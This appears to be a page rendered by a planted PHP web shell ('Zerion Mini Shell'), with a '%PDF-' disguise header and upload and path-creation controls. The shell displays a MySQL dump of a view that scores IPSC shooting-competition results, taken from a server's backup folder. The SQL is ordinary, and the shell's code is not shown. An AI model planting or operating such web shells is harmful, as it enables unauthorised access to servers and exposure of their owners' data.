%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/waritko/db_backups/databaze/suiteshooters/
Upload File :
Create Path :
Current File : //home/waritko/db_backups/databaze/suiteshooters/ipscDisplayResults.sql

-- MySQL dump 10.14  Distrib 5.5.60-MariaDB, for Linux (x86_64)
--
-- Host: localhost    Database: suiteshooters
-- ------------------------------------------------------
-- Server version	5.5.60-MariaDB

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Temporary table structure for view `ipscDisplayResults`
--

DROP TABLE IF EXISTS `ipscDisplayResults`;
/*!50001 DROP VIEW IF EXISTS `ipscDisplayResults`*/;
SET @saved_cs_client     = @@character_set_client;
SET character_set_client = utf8;
/*!50001 CREATE TABLE `ipscDisplayResults` (
  `id` tinyint NOT NULL,
  `event` tinyint NOT NULL,
  `user` tinyint NOT NULL,
  `stage` tinyint NOT NULL,
  `time` tinyint NOT NULL,
  `popper` tinyint NOT NULL,
  `alpha` tinyint NOT NULL,
  `charlie` tinyint NOT NULL,
  `delta` tinyint NOT NULL,
  `miss` tinyint NOT NULL,
  `missPopper` tinyint NOT NULL,
  `noshoot` tinyint NOT NULL,
  `proc` tinyint NOT NULL,
  `majorPoints` tinyint NOT NULL,
  `minorPoints` tinyint NOT NULL,
  `majorHitRating` tinyint NOT NULL,
  `minorHitRating` tinyint NOT NULL,
  `maxStagePoints` tinyint NOT NULL
) ENGINE=MyISAM */;
SET character_set_client = @saved_cs_client;

--
-- Final view structure for view `ipscDisplayResults`
--

/*!50001 DROP TABLE IF EXISTS `ipscDisplayResults`*/;
/*!50001 DROP VIEW IF EXISTS `ipscDisplayResults`*/;
/*!50001 SET @saved_cs_client          = @@character_set_client */;
/*!50001 SET @saved_cs_results         = @@character_set_results */;
/*!50001 SET @saved_col_connection     = @@collation_connection */;
/*!50001 SET character_set_client      = utf8mb4 */;
/*!50001 SET character_set_results     = utf8mb4 */;
/*!50001 SET collation_connection      = utf8mb4_general_ci */;
/*!50001 CREATE ALGORITHM=UNDEFINED */
/*!50013 DEFINER=`root`@`127.0.0.1` SQL SECURITY DEFINER */
/*!50001 VIEW `ipscDisplayResults` AS select `results`.`id` AS `id`,`results`.`event` AS `event`,`results`.`user` AS `user`,`results`.`stage` AS `stage`,`results`.`time` AS `time`,`results`.`popper` AS `popper`,`results`.`alpha` AS `alpha`,`results`.`charlie` AS `charlie`,`results`.`delta` AS `delta`,`results`.`miss` AS `miss`,`results`.`missPopper` AS `missPopper`,`results`.`noshoot` AS `noshoot`,`results`.`proc` AS `proc`,greatest(((((((((`results`.`alpha` * 5) + (`results`.`charlie` * 4)) + (`results`.`delta` * 2)) + (`results`.`popper` * 5)) - (`results`.`miss` * 10)) - (`results`.`noshoot` * 10)) - (`results`.`proc` * 10)) - (`results`.`missPopper` * 10)),0) AS `majorPoints`,greatest(((((((((`results`.`alpha` * 5) + (`results`.`charlie` * 3)) + (`results`.`delta` * 1)) + (`results`.`popper` * 5)) - (`results`.`miss` * 10)) - (`results`.`noshoot` * 10)) - (`results`.`proc` * 10)) - (`results`.`missPopper` * 10)),0) AS `minorPoints`,greatest((((((((((`results`.`alpha` * 5) + (`results`.`charlie` * 4)) + (`results`.`delta` * 2)) + (`results`.`popper` * 5)) - (`results`.`miss` * 10)) - (`results`.`noshoot` * 10)) - (`results`.`proc` * 10)) - (`results`.`missPopper` * 10)) / `results`.`time`),0) AS `majorHitRating`,greatest((((((((((`results`.`alpha` * 5) + (`results`.`charlie` * 3)) + (`results`.`delta` * 1)) + (`results`.`popper` * 5)) - (`results`.`miss` * 10)) - (`results`.`noshoot` * 10)) - (`results`.`proc` * 10)) - (`results`.`missPopper` * 10)) / `results`.`time`),0) AS `minorHitRating`,((`stages`.`poppers` * 5) + (`stages`.`targets` * 5)) AS `maxStagePoints` from (`results` join `stages` on((`results`.`stage` = `stages`.`id`))) */;
/*!50001 SET character_set_client      = @saved_cs_client */;
/*!50001 SET character_set_results     = @saved_cs_results */;
/*!50001 SET collation_connection      = @saved_col_connection */;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2018-11-09  4:27:17

Zerion Mini Shell 1.0